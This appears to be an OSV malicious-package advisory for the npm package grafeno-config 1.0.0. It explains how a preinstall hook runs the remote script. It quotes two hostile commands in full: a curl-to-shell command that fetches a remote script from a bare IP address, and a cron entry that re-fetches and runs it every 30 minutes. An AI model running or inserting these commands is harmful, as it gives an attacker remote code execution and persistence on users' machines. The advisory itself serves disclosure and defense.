npm

grafeno-config @1.0.0

Vulnerability report · Last retrieved from osv.dev August 29, 2026 at 7:35 AM UTC

Malicious

OSV ID

MAL-2026-15504

Ecosystem

npm

Summary

package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh , fetching a shell script from a bare-IP host over plain HTTP and piping it to /bin/bash on npm install . The same hook appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh | sh , re-fetching and executing whatever that host serves every 30 minutes. The payload is unpinned, unverified, and mutable by whoever controls 216.126.236.46, giving arbitrary remote code execution on the installer's host at install time and persistent execution thereafter, independent of whether the package remains installed.

Source: amazon-inspector (ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af)

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